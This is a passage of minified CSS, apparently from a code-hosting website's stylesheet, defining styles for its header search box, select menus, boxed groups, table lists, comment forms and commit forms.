var(--color-header-search-border);box-shadow:none}.header-search-wrapper.header-search-wrapper-jump-to .header-search-scope{width:-moz-fit-content;width:fit-content}.header-search-wrapper .truncate-repo-scope{max-width:110px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.header-search-wrapper.focus{background-color:rgba(255,255,255,.175);box-shadow:none}.header-search-wrapper.focus .header-search-scope{color:var(--color-scale-white);background-color:rgba(255,255,255,.075);border-right-color:#282e34}.header-search-input{display:table-cell;width:100%;padding-top:0;padding-bottom:0;font-size:inherit;color:inherit;background:none;border:0;box-shadow:none}.header-search-input::placeholder{color:rgba(255,255,255,.75)}.header-search-input:focus{border:0;box-shadow:none}.header-search-input:focus~.header-search-key-slash{display:none !important}.header-search-input::-ms-clear{display:none}.header-search-button{display:table-cell;font-size:inherit;color:inherit;background:none}.header-search-button.input-button:focus{border:0 !important;box-shadow:none}.header-search-button.input-button:focus~.header-search-key-slash{display:none !important}.header-search-button::-ms-clear{display:none}.header-search-button.placeholder{color:rgba(255,255,255,.75)}.header-search-scope{display:none;padding-right:8px;padding-left:8px;font-size:inherit;line-height:28px;color:rgba(255,255,255,.7);white-space:nowrap;vertical-align:middle;border-right:1px solid var(--color-border-muted);border-right-color:#282e34;border-top-left-radius:6px;border-bottom-left-radius:6px}.header-search-scope:empty+.header-search-input{width:100%}.header-search-scope:hover{color:var(--color-scale-white);background-color:rgba(255,255,255,.12)}.scoped-search .header-search-wrapper{display:flex}.jump-to-field-active{color:var(--color-fg-default) !important;background-color:var(--color-canvas-subtle)}.jump-to-field-active::placeholder{color:var(--color-fg-muted) !important}.jump-to-field-active~.header-search-key-slash{display:none}.jump-to-field-active.jump-to-dropdown-visible{border-bottom-right-radius:0;border-bottom-left-radius:0}.jump-to-suggestions{top:100%;left:0;z-index:35;width:100%;border-top-left-radius:0;border-top-right-radius:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px;box-shadow:0 4px 10px rgba(0,0,0,.1)}.jump-to-suggestions-path{min-width:0;min-height:44px;color:var(--color-fg-default)}.jump-to-suggestions-path .jump-to-octicon{width:28px;color:var(--color-fg-muted)}.jump-to-suggestions-path .jump-to-suggestion-name{max-width:none}.jump-to-suggestions-path mark{font-weight:600;background-color:transparent}.jump-to-suggestions-results-container .navigation-item{border-bottom:1px solid var(--color-border-default)}.jump-to-suggestions-results-container .navigation-item:last-child{border-bottom:0}.jump-to-suggestions-results-container .d-on-nav-focus{display:none}.jump-to-suggestions-results-container [aria-selected=true] .jump-to-octicon,.jump-to-suggestions-results-container .navigation-focus .jump-to-octicon{color:var(--color-fg-on-emphasis)}.jump-to-suggestions-results-container [aria-selected=true] .jump-to-suggestions-path,.jump-to-suggestions-results-container .navigation-focus .jump-to-suggestions-path{color:var(--color-fg-on-emphasis);background:var(--color-accent-emphasis)}.jump-to-suggestions-results-container [aria-selected=true] mark,.jump-to-suggestions-results-container .navigation-focus mark{color:var(--color-fg-on-emphasis)}.jump-to-suggestions-results-container [aria-selected=true] .d-on-nav-focus,.jump-to-suggestions-results-container .navigation-focus .d-on-nav-focus{display:block}.header-search{max-width:100%;transition:.2s ease-in-out;transition-property:max-width,padding-bottom,padding-top}@media(min-width: 768px){.header-search{max-width:272px}}@media(min-width: 768px){.header-search:focus-within{max-width:544px}}@media(min-width: 768px){.header-search.fixed-width:focus-within{max-width:272px}}.HeaderMenu--logged-out .header-search{min-width:auto}.search-input{width:350px}.search-input-container{z-index:35;height:36px;color:var(--color-scale-white);background-color:var(--color-header-search-bg);border:1px solid var(--color-header-search-border)}.search-input-container .input-parsed-symbol{padding-right:4px;padding-left:4px;color:var(--color-accent-emphasis);background:var(--color-accent-subtle);border-radius:6px}.search-suggestions{top:-14px;left:-14px;z-index:15;width:calc(100% + 26px) !important}.search-suggestions .suggestion-search-input-wrapper{border:1px solid var(--color-accent-emphasis);align-items:center;box-shadow:var(--color-btn-shadow-input-focus)}.search-suggestions .suggestion-search-input{height:24px;padding-top:2px;margin-right:12px;margin-left:12px;white-space:pre;outline:0 solid transparent;align-items:center}.search-suggestions .suggestion-search-input:empty::before{color:var(--color-fg-subtle);content:attr(placeholder)}.search-suggestions .suggestion-list{list-style:none}.search-suggestions .suggestion-list [aria-selected=true]{background-color:var(--color-canvas-inset) !important}.search-suggestions .suggestion-list :hover{background-color:inherit}.search-suggestions .header-search-input{overflow:hidden}.dark-backdrop{top:0;right:0;bottom:0;left:0;z-index:32;height:100%;background-color:var(--color-primer-canvas-backdrop)}.Header-item--search{flex-grow:100}.boxed-group{position:relative;margin-bottom:30px;border-radius:6px}.boxed-group .Counter{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis)}.boxed-group.flush .boxed-group-inner{padding:0}.boxed-group.condensed .boxed-group-inner{padding:0;font-size:12px}.boxed-group>h3,.boxed-group .heading{display:block;padding:9px 10px 10px;margin:0;font-size:14px;line-height:17px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-bottom:0;border-radius:6px 6px 0 0}.boxed-group>h3 a,.boxed-group .heading a{color:inherit}.boxed-group>h3 a.boxed-group-breadcrumb,.boxed-group .heading a.boxed-group-breadcrumb{font-weight:400;color:var(--color-fg-muted);text-decoration:none}.boxed-group>h3 .avatar,.boxed-group .heading .avatar{margin-top:-4px}.boxed-group .tabnav.heading{padding:0}.boxed-group .tabnav.heading .tabnav-tab.selected{border-top:0}.boxed-group .tabnav.heading li:first-child .selected{border-left-color:var(--color-canvas-default);border-top-left-radius:6px}.boxed-group .tabnav-tab{border-top:0;border-radius:0}.boxed-group code.heading{font-size:12px}.boxed-group.dangerzone>h3{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis);border:1px solid var(--color-danger-emphasis)}.boxed-group.dangerzone .boxed-group-inner{border-top:0}.boxed-group.condensed>h3{padding:6px 6px 7px;font-size:12px}.boxed-group.condensed>h3 .octicon{padding:0 6px 0 2px}.dashboard-sidebar .boxed-group{margin-bottom:20px}.boxed-group .bleed-flush{width:100%;padding:0 10px;margin-left:-10px}.boxed-group .compact{margin-top:10px;margin-bottom:10px}.boxed-group-inner{padding:10px;color:var(--color-fg-muted);background:var(--color-canvas-default);border:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.boxed-group-inner .markdown-body{padding:20px 10px 10px;font-size:13px}.boxed-group-inner.markdown-body{padding-top:10px;padding-bottom:10px}.boxed-group-inner.seamless{padding:0}.boxed-group-inner .tabnav{padding-right:10px;padding-left:10px;margin-right:-10px;margin-left:-10px}.boxed-group-inner .tabnav-tab.selected{border-top:1px solid var(--color-border-default)}.boxed-action{float:right;margin-left:10px}.boxed-group-action{position:relative;z-index:2;float:right;margin:5px 10px 0 0}.boxed-group-action.flush{margin-top:0;margin-right:0}.field-with-errors{display:inline}.boxed-group-list{margin:0;list-style:none}.boxed-group-list:first-child>li:first-child{border-top:0}.boxed-group-list>li{display:block;padding:5px 10px;margin-right:-10px;margin-left:-10px;line-height:23px;border-bottom:1px solid var(--color-border-default)}.boxed-group-list>li:first-child{border-top:1px solid var(--color-border-default)}.boxed-group-list>li:last-of-type{border-bottom:0}.boxed-group-list>li.selected{background:var(--color-success-subtle)}.boxed-group-list>li.approved .btn-sm,.boxed-group-list>li.rejected .btn-sm{display:none}.boxed-group-list>li.rejected a{text-decoration:line-through}.boxed-group-list>li .avatar{margin-top:-2px;margin-right:4px}.boxed-group-list>li .octicon{width:24px;margin-right:4px}.boxed-group-list>li .btn-sm{float:right;margin:-1px 0 0 10px}.boxed-group-list>li .BtnGroup{float:right}.boxed-group-list>li .BtnGroup .btn-sm{float:left}.boxed-group.flush .boxed-group-list li{width:auto;padding-right:0;padding-left:0;margin-left:0}.boxed-group-list.standalone{margin-top:-1px}.boxed-group-list.standalone>li:first-child{border-top:0}.boxed-group-table{width:100%;text-align:left}.boxed-group-table tr:last-child td{border-bottom:0}.boxed-group-table th{padding:9px;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-muted)}.boxed-group-table td{padding:9px;vertical-align:top;border-bottom:1px solid var(--color-border-muted)}.ajax-error-message{position:fixed;top:0;left:50%;z-index:9999;width:974px;margin:0 3px;margin-left:-487px;transition:top .5s ease-in-out}.ajax-error-message>.octicon-alert{vertical-align:text-top}.container{width:980px;margin-right:auto;margin-left:auto}.container::before{display:table;content:""}.container::after{display:table;clear:both;content:""}.draft.octicon{color:var(--color-fg-muted)}.closed.octicon,.reverted.octicon{color:var(--color-closed-fg)}.open.octicon{color:var(--color-open-fg)}.closed.octicon.octicon-issue-closed,.merged.octicon{color:var(--color-done-fg)}.progress-bar{display:block;height:15px;overflow:hidden;background-color:var(--color-border-muted);border-radius:6px}.progress-bar .progress{display:block;height:100%;background-color:var(--color-success-emphasis)}.reverse-progress-container{position:relative;height:3px;background-color:var(--color-border-muted);background-image:linear-gradient(to right, var(--color-success-emphasis), var(--color-accent-emphasis), var(--color-done-emphasis), var(--color-danger-emphasis), var(--color-severe-emphasis));background-size:100% 3px}.reverse-progress-bar{position:absolute;right:0;height:100%;background-color:var(--color-border-muted)}.progress-bar-small{height:10px}.select-menu-button::after{display:inline-block;width:0;height:0;vertical-align:-2px;content:"";border:4px solid;border-right-color:transparent;border-bottom-color:transparent;border-left-color:transparent}.select-menu-button.icon-only{padding-left:7px}.select-menu-button.primary::after{border-top-color:var(--color-fg-on-emphasis)}.select-menu-button.primary::after:active{background-color:var(--color-success-emphasis)}.select-menu-button-large::after{margin-left:.25em;border-width:.33em}.select-menu .spinner{float:left;margin:4px 0 0 -24px}.select-menu.active .select-menu-modal-holder{display:block}.select-menu.select-menu-modal-right{position:relative}.select-menu.select-menu-modal-right .select-menu-modal-holder{right:0}.select-menu .select-menu-clear-item{display:block}.select-menu .select-menu-clear-item .octicon{color:inherit}.select-menu .select-menu-clear-item+.select-menu-no-results{display:none !important}.select-menu.is-loading .select-menu-loading-overlay{display:block}.select-menu.is-loading .select-menu-modal{min-height:200px}.select-menu.has-error .select-menu-error{display:block}.select-menu-error{display:none}.select-menu-loading-overlay{position:absolute;top:0;z-index:5;display:none;width:100%;height:100%;background-color:var(--color-canvas-overlay);border:1px solid transparent;border-radius:5px}.select-menu-modal-holder{position:absolute;z-index:30;display:none}.select-menu-modal{position:relative;width:300px;margin-top:4px;margin-bottom:20px;overflow:hidden;font-size:12px;color:var(--color-fg-default);background-color:var(--color-canvas-overlay);background-clip:padding-box;border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-large)}.select-menu-header,.select-menu-divider{padding:8px 10px;line-height:16px;background:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-muted)}.select-menu-header .select-menu-title,.select-menu-divider{font-weight:600;color:var(--color-fg-default)}.select-menu-divider{margin-top:-1px;border-top:1px solid var(--color-border-muted)}.select-menu-header .close-button,.select-menu-header .octicon{display:block;float:right;color:var(--color-fg-muted);cursor:pointer}.select-menu-header .close-button:hover,.select-menu-header .octicon:hover{color:var(--color-fg-default)}.select-menu-header:focus{outline:none}.select-menu-filters{background-color:var(--color-canvas-overlay)}.select-menu-text-filter{padding:10px 10px 0}.select-menu-text-filter:first-child:last-child{padding-bottom:10px;border-bottom:1px solid var(--color-border-muted)}.select-menu-text-filter input{display:block;width:100%;max-width:100%;padding:5px;border:1px solid var(--color-border-muted);border-radius:6px}.select-menu-text-filter input::placeholder{color:var(--color-fg-subtle)}.select-menu-tabs{padding:10px 10px 0;border-bottom:1px solid var(--color-border-muted)}.select-menu-tabs ul{position:relative;bottom:-1px}.select-menu-tabs .select-menu-tab{display:inline-block}.select-menu-tabs a,.select-menu-tabs .select-menu-tab-nav{display:inline-block;padding:4px 8px 2px;font-size:12px;font-weight:600;color:var(--color-fg-muted);text-decoration:none;cursor:pointer;background:transparent;border:1px solid transparent;border-radius:6px 6px 0 0}.select-menu-tabs a:hover,.select-menu-tabs .select-menu-tab-nav:hover{color:var(--color-fg-default)}.select-menu-tabs a[aria-selected=true],.select-menu-tabs a.selected,.select-menu-tabs .select-menu-tab-nav[aria-selected=true],.select-menu-tabs .select-menu-tab-nav.selected{color:var(--color-fg-default);background-color:var(--color-canvas-overlay);border-color:var(--color-border-muted);border-bottom-color:var(--color-canvas-overlay)}.select-menu-list{position:relative;max-height:400px;overflow:auto}.select-menu-list.is-showing-new-item-form .select-menu-new-item-form{display:block}.select-menu-list.is-showing-new-item-form .select-menu-no-results,.select-menu-list.is-showing-new-item-form .select-menu-clear-item{display:none}.select-menu-blankslate{padding:16px;text-align:center}.select-menu-blankslate svg{display:block;margin-right:auto;margin-bottom:9px;margin-left:auto;fill:var(--color-fg-muted)}.select-menu-blankslate h3{font-size:14px;color:var(--color-fg-default)}.select-menu-blankslate p{width:195px;margin-right:auto;margin-bottom:0;margin-left:auto}.select-menu-item{display:block;padding:8px 8px 8px 30px;overflow:hidden;color:inherit;cursor:pointer;border-bottom:1px solid var(--color-border-muted)}.select-menu-item .select-menu-item-text .octicon-x{display:none;float:right;margin:1px 10px 0 0;opacity:.6}.select-menu-item:hover{text-decoration:none}.select-menu-item.disabled,.select-menu-item[disabled],.select-menu-item[aria-disabled=true],.select-menu-item.disabled.selected{color:var(--color-fg-muted);cursor:default}.select-menu-item.disabled .description,.select-menu-item[disabled] .description,.select-menu-item[aria-disabled=true] .description,.select-menu-item.disabled.selected .description{color:var(--color-fg-muted)}.select-menu-item.disabled.opaque,.select-menu-item[disabled].opaque,.select-menu-item[aria-disabled=true].opaque,.select-menu-item.disabled.selected.opaque{opacity:.7}.select-menu-item.disabled .select-menu-item-gravatar,.select-menu-item[disabled] .select-menu-item-gravatar,.select-menu-item[aria-disabled=true] .select-menu-item-gravatar,.select-menu-item.disabled.selected .select-menu-item-gravatar{opacity:.5}.select-menu-item .octicon{vertical-align:middle}.select-menu-item .octicon-check,.select-menu-item .octicon-circle-slash,.select-menu-item input[type=radio]:not(:checked)+.octicon-check,.select-menu-item input[type=radio]:not(:checked)+.octicon-circle-slash{visibility:hidden}.select-menu-item.selected .octicon-circle-slash.select-menu-item-icon{color:var(--color-fg-muted) !important}.select-menu-item .octicon-circle-slash{color:var(--color-fg-muted)}.select-menu-item.excluded{background-color:var(--color-canvas-subtle)}.select-menu-item input[type=radio]{display:none}.select-menu-item:focus{outline:none}.select-menu-item:focus .octicon,.select-menu-item:hover .octicon{color:inherit !important}.select-menu-item:hover,.select-menu-item:hover.selected,.select-menu-item:hover.select-menu-action,.select-menu-item:hover .description-inline,.select-menu-item:focus,.select-menu-item:focus.selected,.select-menu-item:focus.select-menu-action,.select-menu-item:focus .description-inline,.select-menu-item.navigation-focus,.select-menu-item.navigation-focus.selected,.select-menu-item.navigation-focus.select-menu-action,.select-menu-item.navigation-focus .description-inline,.select-menu-item.navigation-focus[aria-checked=true],.select-menu-item[aria-checked=true]:focus,.select-menu-item[aria-checked=true]:hover,.select-menu-item[aria-selected=true]:hover,.select-menu-item[aria-selected=true]:focus,.select-menu-item[aria-selected=true].select-menu-action,.select-menu-item[aria-selected=true] .description-inline{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.select-menu-item:hover>.octicon,.select-menu-item:hover.selected>.octicon,.select-menu-item:hover.select-menu-action>.octicon,.select-menu-item:hover .description-inline>.octicon,.select-menu-item:focus>.octicon,.select-menu-item:focus.selected>.octicon,.select-menu-item:focus.select-menu-action>.octicon,.select-menu-item:focus .description-inline>.octicon,.select-menu-item.navigation-focus>.octicon,.select-menu-item.navigation-focus.selected>.octicon,.select-menu-item.navigation-focus.select-menu-action>.octicon,.select-menu-item.navigation-focus .description-inline>.octicon,.select-menu-item.navigation-focus[aria-checked=true]>.octicon,.select-menu-item[aria-checked=true]:focus>.octicon,.select-menu-item[aria-checked=true]:hover>.octicon,.select-menu-item[aria-selected=true]:hover>.octicon,.select-menu-item[aria-selected=true]:focus>.octicon,.select-menu-item[aria-selected=true].select-menu-action>.octicon,.select-menu-item[aria-selected=true] .description-inline>.octicon{color:var(--color-fg-on-emphasis)}.select-menu-item:hover .description,.select-menu-item:hover .description-warning,.select-menu-item:hover.selected .description,.select-menu-item:hover.selected .description-warning,.select-menu-item:hover.select-menu-action .description,.select-menu-item:hover.select-menu-action .description-warning,.select-menu-item:hover .description-inline .description,.select-menu-item:hover .description-inline .description-warning,.select-menu-item:focus .description,.select-menu-item:focus .description-warning,.select-menu-item:focus.selected .description,.select-menu-item:focus.selected .description-warning,.select-menu-item:focus.select-menu-action .description,.select-menu-item:focus.select-menu-action .description-warning,.select-menu-item:focus .description-inline .description,.select-menu-item:focus .description-inline .description-warning,.select-menu-item.navigation-focus .description,.select-menu-item.navigation-focus .description-warning,.select-menu-item.navigation-focus.selected .description,.select-menu-item.navigation-focus.selected .description-warning,.select-menu-item.navigation-focus.select-menu-action .description,.select-menu-item.navigation-focus.select-menu-action .description-warning,.select-menu-item.navigation-focus .description-inline .description,.select-menu-item.navigation-focus .description-inline .description-warning,.select-menu-item.navigation-focus[aria-checked=true] .description,.select-menu-item.navigation-focus[aria-checked=true] .description-warning,.select-menu-item[aria-checked=true]:focus .description,.select-menu-item[aria-checked=true]:focus .description-warning,.select-menu-item[aria-checked=true]:hover .description,.select-menu-item[aria-checked=true]:hover .description-warning,.select-menu-item[aria-selected=true]:hover .description,.select-menu-item[aria-selected=true]:hover .description-warning,.select-menu-item[aria-selected=true]:focus .description,.select-menu-item[aria-selected=true]:focus .description-warning,.select-menu-item[aria-selected=true].select-menu-action .description,.select-menu-item[aria-selected=true].select-menu-action .description-warning,.select-menu-item[aria-selected=true] .description-inline .description,.select-menu-item[aria-selected=true] .description-inline .description-warning{color:var(--color-fg-on-emphasis)}.select-menu-item:hover.disabled,.select-menu-item[disabled]:hover,.select-menu-item[aria-disabled=true]:hover,.select-menu-item[aria-selected=true].disabled,.select-menu-item.navigation-focus.disabled{color:var(--color-fg-muted);background-color:var(--color-canvas-overlay)}.select-menu-item:hover.disabled .description,.select-menu-item[disabled]:hover .description,.select-menu-item[aria-disabled=true]:hover .description,.select-menu-item[aria-selected=true].disabled .description,.select-menu-item.navigation-focus.disabled .description{color:var(--color-fg-muted)}.select-menu-item>.octicon-dash{display:none}.select-menu-item[aria-checked=mixed]>.octicon-check{display:none}.select-menu-item[aria-checked=mixed]>.octicon-dash{display:block}.select-menu-item input:checked+.octicon-check{color:inherit;visibility:visible}details-menu .select-menu-item[aria-checked=true],details-menu .select-menu-item[aria-selected=true],.select-menu-item.selected{color:var(--color-fg-default)}details-menu .select-menu-item[aria-checked=true] .description,details-menu .select-menu-item[aria-selected=true] .description,.select-menu-item.selected .description{color:var(--color-fg-muted)}details-menu .select-menu-item[aria-checked=true]>.octicon,details-menu .select-menu-item[aria-selected=true]>.octicon,.select-menu-item.selected>.octicon{color:var(--color-fg-default)}details-menu .select-menu-item[aria-checked=true] .octicon-check,details-menu .select-menu-item[aria-checked=true] .octicon-circle-slash,details-menu .select-menu-item[aria-selected=true] .octicon-check,details-menu .select-menu-item[aria-selected=true] .octicon-circle-slash,.select-menu-item.selected .octicon-check,.select-menu-item.selected .octicon-circle-slash{color:inherit;visibility:visible}details-menu .select-menu-item[aria-checked=true] .select-menu-item-text .octicon-x,details-menu .select-menu-item[aria-selected=true] .select-menu-item-text .octicon-x,.select-menu-item.selected .select-menu-item-text .octicon-x{display:block;color:inherit}.select-menu.label-select-menu .select-menu-item:active{background-color:transparent !important}.select-menu-item:hover .Label,.select-menu-item:focus .Label{color:inherit;border-color:currentColor}.select-menu-item a{color:inherit;text-decoration:none}.select-menu-item .hidden-select-button-text{display:none}.select-menu-item .css-truncate-target{max-width:100%}.select-menu-item-icon{float:left;margin-left:-20px}form.select-menu-item>div:first-child{display:none !important}.select-menu-list:last-child .select-menu-item:last-child,.select-menu-item.last-visible{border-bottom:0;border-radius:0 0 6px 6px}.select-menu-action{font-weight:400;color:var(--color-fg-default)}.select-menu-action>.octicon{color:inherit}.select-menu-action:hover{color:var(--color-accent-fg)}.select-menu-no-results{display:none;padding:9px;color:var(--color-fg-muted);cursor:auto}.select-menu-list.filterable-empty .select-menu-no-results,.select-menu-no-results:only-child{display:block}.select-menu-button-gravatar,.select-menu-item-gravatar{width:20px;overflow:hidden;line-height:0}.select-menu-button-gravatar img,.select-menu-item-gravatar img{display:inline-block;width:20px;height:20px;border-radius:6px}.select-menu-item-gravatar{float:left;width:20px;height:20px;margin-right:8px;border-radius:6px}.select-menu-button-gravatar{float:left;margin-right:5px}.select-menu-item-text{display:block;text-align:left}.select-menu-item-text .description{display:block;max-width:265px;font-size:12px;color:var(--color-fg-muted)}.select-menu-item-text .description-inline{font-size:12px;color:var(--color-fg-muted)}.select-menu-item-text .description-warning{color:var(--color-danger-fg)}.select-menu-item-text mark{font-weight:600;color:inherit;background-color:inherit}.select-menu-item-heading{display:block;margin-top:0;margin-bottom:0;font-size:14px;font-weight:600}.select-menu-item-heading .description{display:inline;font-weight:400}.select-menu-new-item-form{display:none}.select-menu-new-item-form .octicon{color:var(--color-accent-fg)}.table-list{display:table;width:100%;color:var(--color-fg-muted);table-layout:fixed;border-bottom:1px solid var(--color-border-default)}.table-list ol{list-style-type:decimal}.table-list-bordered{border-bottom-color:var(--color-border-default)}.table-list-bordered .table-list-cell:first-child{border-left:1px solid var(--color-border-default)}.table-list-bordered .table-list-cell:last-child{border-right:1px solid var(--color-border-default)}.table-list-item{position:relative;display:table-row;list-style:none}.table-list-item.unread .table-list-cell:first-child{box-shadow:2px 0 0 var(--color-accent-emphasis) inset}.table-list-cell{position:relative;display:table-cell;padding:8px 10px;font-size:12px;vertical-align:top;border-top:1px solid var(--color-border-default)}.table-list-cell.flush-left{padding-left:0}.table-list-cell.flush-right{padding-right:0}.table-list-header{position:relative;margin-top:20px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px 6px 0 0}.table-list-header::before{display:table;content:""}.table-list-header::after{display:table;clear:both;content:""}.table-list-header .btn-link{position:relative;display:inline-block;padding-top:13px;padding-bottom:13px;font-weight:400}.table-list-heading{margin-left:10px}.table-list-header-meta{display:inline-block;padding-top:13px;padding-bottom:13px;color:var(--color-fg-muted)}.table-list-header-toggle h4{padding:12px 0}.table-list-filters:first-child .table-list-header-toggle:first-child{padding-left:16px}.table-list-header-toggle.states .selected{font-weight:600}.table-list-header-toggle .btn-link{color:var(--color-fg-muted)}.table-list-header-toggle .btn-link .octicon{margin-right:4px}.table-list-header-toggle .btn-link:hover{color:var(--color-fg-default);text-decoration:none}.table-list-header-toggle .btn-link.selected,.table-list-header-toggle .btn-link.selected:hover{color:var(--color-fg-default)}.table-list-header-toggle .btn-link+.btn-link{margin-left:10px}.table-list-header-toggle .btn-link:disabled,.table-list-header-toggle .btn-link.disabled{pointer-events:none;opacity:.5}.table-list-header-toggle .select-menu{position:relative}.table-list-header-toggle .select-menu-item[aria-checked=true],.table-list-header-toggle .select-menu-item.selected{font-weight:600}.table-list-header-toggle .select-menu-button{padding-right:15px;padding-left:15px}.table-list-header-toggle .select-menu-button:hover,.table-list-header-toggle .select-menu-button.selected,.table-list-header-toggle .select-menu-button.selected:hover{color:var(--color-fg-default)}.table-list-header-toggle .select-menu-modal-holder{right:10px}.table-list-header-toggle .select-menu-modal-holder .select-menu-modal{margin-top:-1px}.table-list-header-next{margin-top:20px;margin-bottom:-1px}.table-list-header-next .table-list-header-select-all{padding-left:14px}.table-list-header-next .select-all-dropdown{padding-top:10px;padding-bottom:10px}.table-list-triage{display:none}.triage-mode .table-list-filters{display:none !important}.triage-mode .table-list-triage{display:block}.breadcrumb{font-size:16px;color:var(--color-fg-muted)}.breadcrumb .separator{white-space:pre-wrap}.breadcrumb .separator::before,.breadcrumb .separator::after{content:" "}.breadcrumb strong.final-path{color:var(--color-fg-default)}.capped-cards{list-style:none}.capped-card-content{display:block;background:var(--color-canvas-subtle)}.capped-card-content::before{display:table;content:""}.capped-card-content::after{display:table;clear:both;content:""}.details-collapse .collapse{position:relative;display:none;height:0;overflow:hidden;transition:height .35s ease-in-out}.details-collapse.open .collapse{display:block;height:auto;overflow:visible}.collapsible-sidebar-widget-button{display:flex;padding:0;align-items:center;background-color:transparent;border:0;justify-content:space-between}.collapsible-sidebar-widget-indicator{transition:transform .25s;transform:translate(0, 0) translate3d(0, 0, 0)}.collapsible-sidebar-widget-loader{display:none;visibility:hidden;opacity:0;transition:opacity .25s;animation-play-state:paused}.collapsible-sidebar-widget-content{width:100%;max-height:0;overflow:hidden;opacity:0;transition:max-height .25s ease-in-out,opacity .25s ease-in-out}.collapsible-sidebar-widget-loading .collapsible-sidebar-widget-indicator{display:none}.collapsible-sidebar-widget-loading .collapsible-sidebar-widget-loader{display:block;visibility:visible;opacity:1;animation-play-state:running}.collapsible-sidebar-widget-active .collapsible-sidebar-widget-content{max-height:100%;overflow:visible;opacity:1}.collapsible-sidebar-widget-active .collapsible-sidebar-widget-indicator{display:block;transform:rotate(180deg)}.collapsible-sidebar-widget-active .collapsible-sidebar-widget-loader{display:none;visibility:hidden;opacity:0}.collapsible-sidebar-widget-active .collapsible-sidebar-widget-active-hidden{display:none;opacity:0}.comment .email-format{line-height:1.5}.previewable-edit .previewable-comment-form{display:none}.previewable-edit .previewable-comment-form::before{display:table;content:""}.previewable-edit .previewable-comment-form::after{display:table;clear:both;content:""}.previewable-edit .previewable-comment-form .tabnav-tabs{display:inline-block}.previewable-edit .previewable-comment-form .form-actions{float:right;margin-right:8px;margin-bottom:8px}.previewable-edit.is-comment-editing .timeline-comment-header{display:none !important}.is-comment-editing .previewable-comment-form{display:block}.is-comment-editing .timeline-comment-actions,.is-comment-editing .edit-comment-hide{display:none}.is-comment-loading .previewable-comment-form{opacity:.5}.comment-show-stale{display:none}.is-comment-stale .comment-show-stale{display:block}.comment-body{width:100%;padding:16px;overflow:visible;font-size:14px}.comment-body .highlight{overflow:visible !important;background-color:transparent}.comment-form-textarea{width:100%;max-width:100%;height:100px;min-height:100px;margin:0;line-height:1.6}.comment-form-textarea.dragover{border:solid 1px var(--color-accent-emphasis)}.hide-reaction-suggestion:hover::before,.hide-reaction-suggestion:hover::after,.hide-reaction-suggestion:active::before,.hide-reaction-suggestion:active::after{display:none}.reaction-suggestion[data-reaction-suggestion-message]:hover::before,.reaction-suggestion[data-reaction-suggestion-message]:hover::after{display:inline-block}.reaction-suggestion[data-reaction-suggestion-message]::before,.reaction-suggestion[data-reaction-suggestion-message]::after{display:inline-block;text-decoration:none;animation-name:tooltip-appear;animation-duration:.1s;animation-fill-mode:forwards;animation-timing-function:ease-in;animation-delay:0s}.reaction-suggestion[data-reaction-suggestion-message]::after{content:attr(data-reaction-suggestion-message)}.discussion-topic-header{position:relative;padding:8px;word-wrap:break-word}.comment-form-error{padding:16px 8px;margin:8px;color:var(--color-fg-default);background-color:var(--color-danger-subtle);border:1px solid var(--color-danger-emphasis);border-radius:6px}.email-format{line-height:1.5em !important}.email-format div{white-space:pre-wrap}.email-format .email-hidden-reply{display:none;white-space:pre-wrap}.email-format .email-hidden-reply.expanded{display:block}.email-format .email-quoted-reply,.email-format .email-signature-reply{padding:0 16px;margin:16px 0;color:var(--color-fg-muted);border-left:4px solid var(--color-border-default)}.email-format .email-hidden-toggle a{display:inline-block;height:12px;padding:0 8px;font-size:12px;font-weight:600;line-height:6px;color:var(--color-fg-default);text-decoration:none;vertical-align:middle;background:var(--color-neutral-muted);border-radius:1px}.email-format .email-hidden-toggle a:hover{background-color:var(--color-accent-muted)}.email-format .email-hidden-toggle a:active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.comment-email-format div{white-space:normal}.comment-email-format .email-hidden-reply{display:none;white-space:normal}.comment-email-format .email-hidden-reply.expanded{display:block}.comment-email-format blockquote,.comment-email-format p{margin:0}.locked-conversation .write-tab,.locked-conversation .preview-tab{color:#c6cbd1}.write-tab:focus,.preview-tab:focus{outline:1px dotted var(--color-accent-emphasis)}.manual-file-chooser-transparent{min-height:0;overflow:hidden;opacity:.01}.manual-file-chooser-transparent::-webkit-file-upload-button{cursor:pointer}.manual-file-chooser-transparent:focus{opacity:1 !important}.markdown-body .highlight:hover .zeroclipboard-container,.markdown-body .snippet-clipboard-content:hover .zeroclipboard-container{display:block;animation:fade-in 200ms both}.markdown-body .highlight .zeroclipboard-container,.markdown-body .snippet-clipboard-content .zeroclipboard-container{display:none;animation:fade-out 200ms both}.rich-diff clipboard-copy{display:none}.commit-form{position:relative;padding:16px;border:1px solid var(--color-border-default);border-radius:6px}.commit-form::after,.commit-form::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.commit-form::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.commit-form::before{background-color:var(--color-border-default)}.commit-form .input-block{margin-top:8px;margin-bottom:8px}.commit-form-avatar{float:left;margin-left:-64px;border-radius:6px}.commit-form-actions::before{display:table;content:""}.commit-form-actions::after{display:table;clear:both;content:""}.commit-form-actions .BtnGroup{margin-right:4px}.merge-commit-message{resize:vertical}@media(max-width: 768px){.commit-form::after,.commit-form::before{display:none !important}}.commit-sha{padding:.2em .4em;font-size:90%;font-weight:400;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-muted);border-radius:.2em}.commit .commit-title,.commit .commit-title a{color:var(--color-fg-default)}.commit .commit-title.blank,.commit .commit-title.blank a{color:var(--color-fg-muted)}.commit .commit-title .issue-link{font-weight:600;color:var(--color-accent-fg)}.commit .sha-block,.commit .sha{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation 